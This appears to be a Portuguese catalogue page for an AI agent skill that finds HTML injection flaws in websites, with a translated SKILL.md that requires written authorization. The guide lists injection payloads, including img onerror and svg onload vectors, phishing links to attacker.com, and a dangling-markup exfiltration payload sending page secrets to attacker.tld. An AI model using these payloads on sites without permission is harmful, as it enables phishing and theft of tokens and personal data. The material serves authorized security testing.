hunt-html-injection
Ajuda seu agente a identificar injeções de HTML. Útil para evitar que sites exibam conteúdo malicioso ou indesejado.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança onde um site insere informações que você envia diretamente no código HTML da página, sem tratá-las corretamente. Isso pode permitir que um invasor modifique o que você vê ou roube informações.
Quando usar
- ✓Ao testar a segurança de um site com permissão.
- ✓Para verificar se um site exibe informações enviadas pelo usuário sem modificá-las.
- ✓Para entender como um site lida com dados inseridos em campos de formulário ou comentários.
Exemplo do que pedir para a IA
“Verifique se o site insere meu comentário '<h1>Teste</h1>' diretamente no HTML.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta inserir tags HTML simples, como `<b>` ou `<h1>`, em um site. Se as tags aparecerem no código da página em vez de serem exibidas como texto normal, a falha foi encontrada.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-html-injectionOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-html-injection/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
O que é Injeção de HTML
A Injeção de HTML ocorre quando a entrada do usuário é inserida em uma página HTML sem escape, de modo que as tags injetadas sejam renderizadas pelo navegador como marcação em vez de serem exibidas como texto literal. Ao contrário do XSS, o conteúdo injetado não requer execução de JavaScript — injetar tags <b>, <h1>, <a>, <img> ou <form> é suficiente.
Para PROVAR o impacto de forma inequívoca, escale para um vetor ativo carregando um "canário" numérico único — por exemplo, "><img src=x onerror=alert(91234)> ou <svg onload=alert(91234)>. Um número distinto de 4+ dígitos (não alert(1)) distingue SUA injeção refletida das páginas de prática de payloads de exemplo que elas incorporam em seu próprio texto de dica. Prova = o vetor bruto e sem escape com seu canário aparece na resposta.
Impacto:
- Phishing via tags
<form>ou<a href="attacker.com">injetadas - Defacement da UI —
<h1>HACKED</h1>é renderizado visualmente na página - Coleta de credenciais via formulários de login injetados
- Redirecionamento via
<meta http-equiv="refresh"> - Degrau para XSS (pode ser bloqueado por WAF em
<script>, mas não em<img onerror>) - Exfiltração de "dangling-markup" — mesmo com
<script>e manipuladores de eventos filtrados, uma tag não terminada pode capturar o conteúdo da página que a segue. Injete<img src='//attacker.tld/log?html=(sem aspas de fechamento/>); o navegador trata tudo até o próximo'como o URL, vazando qualquer token CSRF, segredo ou PII renderizado após seu ponto de injeção para seu servidor. Funciona onde XSS completo é bloqueado, mas<bruto é refletido. - Injeção em contexto de e-mail/notificação — um campo refletido sem escape em um e-mail transacional (confirmação de cadastro, alerta de administrador, transcrição de chat de suporte) renderiza
<a>/<img>injetados/markup "dangling" na caixa de entrada do destinatário — uma audiência que a UI web não alcança, e muitas vezes o único lugar onde HTML é renderizado sem filtro. Injete em nome/assunto/comentário, depois leia o código-fonte bruto do e-mail. Classe divulgada: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.
Superfície de Ataque
Qualquer entrada que é refletida ou armazenada e depois exibida em um contexto HTML:
- Caixas de pesquisa (
?q=) - Comentários, feedback, avaliações
- Campos de perfil (nome, biografia, nome de usuário)
- Mensagens de erro (
?error=,?message=) - Assunto / corpo de formulários de contato
- Campos visíveis para administradores (títulos de tickets, nomes de usuário em logs)
Prioridade de Teste Autônomo
Injete uma tag HTML reconhecível com uma string "canário" única. Ângulos não escapados na resposta = injeção confirmada.
Padrão 1 — Injeção básica de tag HTML:
<b>CANARY</b>
"><b>CANARY</b>
Use uma string única como CANÁRIO (algo distinto para esta execução de teste). Prova: a resposta contém <b>CANARY com colchetes literais < — não <b>CANARY. Um aplicativo devidamente codificado escaparia < para <.
Tente múltiplos tipos de tag quando <b> for filtrado:
<h1>CANARY</h1>— tag de título (geralmente menos filtrada)<img src=x onerror=CANARY>— contexto de atributo<a href="https://attacker.com">click</a>— injeção de link (prova de phishing)
Para injeção armazenada: injete no endpoint de armazenamento, depois FAÇA GET da página onde o valor é exibido e verifique se há tags não escapadas.
Escale imediatamente: se a injeção <b> funcionar, tente <script>alert(1)</script> — a mesma entrada não sanitizada pode permitir XSS completo.
Prova
Confirmado quando sua tag injetada aparece no corpo da resposta com colchetes literais < (não codificados em HTML). Um aplicativo seguro renderiza <b>CANARY</b>; um aplicativo vulnerável renderiza <b>CANARY</b>.
Distinguindo Injeção de HTML de XSS
…
Perguntas frequentes
Qual a diferença entre Injeção de HTML e XSS?
Injeção de HTML insere tags que o navegador exibe (como negrito), enquanto XSS insere código que o navegador executa (como JavaScript).
Por que usar um número único como 'canary'?
Um número único ajuda a distinguir sua tentativa de injeção de exemplos que o próprio site pode estar usando para explicar algo.
O que é 'dangling-markup exfiltration'?
É uma técnica onde uma tag HTML incompleta é inserida para 'capturar' e enviar informações da página para um invasor, mesmo que scripts sejam bloqueados.
Detalhes
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3263
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC